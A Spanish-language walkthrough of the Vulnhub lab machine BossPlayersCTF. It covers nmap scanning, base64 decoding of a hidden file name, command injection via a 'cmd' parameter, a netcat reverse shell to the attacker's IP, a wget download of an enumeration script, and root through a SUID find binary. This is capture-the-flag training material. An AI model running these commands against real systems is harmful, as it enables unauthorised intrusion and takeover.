[VLN] BossPlayersCTF

Hoy vamos a hackear la maquina de Vulnhub llamada BossPlayersCTF1. Podeis descargarla desde: BossPlayersCTF

Video


Enumeration


Empezamos con un nmap para ver que puertos tiene abiertos.

sml@m0nike:~$ nmap -A -p- 192.168.1.109
Starting Nmap 7.80 ( https://nmap.org ) at 2020-02-04 06:29 CET
Nmap scan report for bossplayers.home (192.168.1.109)
Host is up (0.0066s latency).
Not shown: 65533 closed ports
PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 7.9p1 Debian 10 (protocol 2.0)
| ssh-hostkey: 
|   2048 ac:0d:1e:71:40:ef:6e:65:91:95:8d:1c:13:13:8e:3e (RSA)
|   256 24:9e:27:18:df:a4:78:3b:0d:11:8a:92:72:bd:05:8d (ECDSA)
|_  256 26:32:8d:73:89:05:29:43:8e:a1:13:ba:4f:83:53:f8 (ED25519)
80/tcp open  http    Apache httpd 2.4.38 ((Debian))
|_http-server-header: Apache/2.4.38 (Debian)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap
.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 24.11 seconds
Si miramos el codigo fuente de la pagina web inicial, abajo del todo podemos ver:

WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBOblBUMEsK
Hacemos el "decode" con base64 hasta que obtenemos algo interesante...

sml@m0nike:~$ base64 -d <<< WkRJNWVXRXliSFZhTW14MVkwaEtkbG96U214ak0wMTFZMGRvZDBO
blBUMEsK
ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K

sml@m0nike:~$ base64 -d <<< ZDI5eWEybHVaMmx1Y0hKdlozSmxjM011Y0dod0NnPT0K
d29ya2luZ2lucHJvZ3Jlc3MucGhwCg==

sml@m0nike:~$ base64 -d <<< d29ya2luZ2lucHJvZ3Jlc3MucGhwCg==
workinginprogress.php

Exploitation


Despues de probar varios parametros en el php, vemos que "cmd" nos devuelve el output del comando que le pasamos como parametro, sabiendo esto miramos si tiene nc..

http://192.168.1.109/workinginprogress.php?cmd=whereis nc
nc: /usr/bin/nc.traditional /usr/bin/nc /usr/share/man/man1/nc.1.gz 
Vemos que tiene nc asi que ponemos en nuestro pc el puerto 4444 a la escucha.

sml@m0nike:~$ nc -nlvp 4444
Ahora ejecutamos el siguiente comando para obtener una reverse shell, es decir, que la maquina victima se conecte al puerto que estamos escuchando y nos facilite una shell.

192.168.1.109/workinginprogress.php?cmd=nc%20-e%20/bin/sh%20192.168.1.137%204444
Y en nuestro pc obtenemos la shell :)

sml@m0nike:~$ nc -nlvp 4444
listening on [any] 4444 ...
connect to [192.168.1.137] from (UNKNOWN) [192.168.1.109] 57012
id
uid=33(www-data) gid=33(www-data) groups=33(www-data)

Privilege Escalation


Bien, ahora que estamos dentro, queremos escalar privilegios. Lo primero es obtener una shell interactiva con:

python -c 'import pty; pty.spawn("/bin/sh")'
Procedemos a descargarnos un script para enumerar el sistema.

$ wget http://192.168.1.137/lin.sh
wget http://192.168.1.137/lin.sh
--2020-02-08 18:19:40--  http://192.168.1.137/lin.sh
Connecting to 192.168.1.137:80... connected.
HTTP request sent, awaiting response... 200 OK
Length: 46632 (46K) [application/octet-stream]
Saving to: 'lin.sh'

lin.sh                0%[                    ]       0  --.-KB/s           lin.s
h              100%[===================>]  45.54K  --.-KB/s    in 0s      

2020-02-08 18:19:40 (348 MB/s) - 'lin.sh' saved [46632/46632]
Ejecutamos el script.

$ sh lin.sh
..SNIP..
-e [+] Possibly interesting SGID files:
-rwsr-sr-x 1 root root 198976 Jan  8  2019 /usr/bin/grep
-rwsr-sr-x 1 root root 315904 Feb 16  2019 /usr/bin/find
..SNIP..
Vemos que tiene el ejecutable find como fichero SGID. Podemos utilizar find para escalar privilegios de la siguiente forma:

$ /usr/bin/find . -exec /bin/sh -p \; -quit
# id
uid=33(www-data) gid=33(www-data) euid=0(root) egid=0(root) groups=0(root),33(ww
w-data)

root.txt



# cd /root
# ls
root.txt
# cat root.txt
Y29uZ3JhdHVsYXRpb25zCg==
# cat root.txt | base64 -d
congratulations

End


Y con esto ya seriamos root de la maquina :)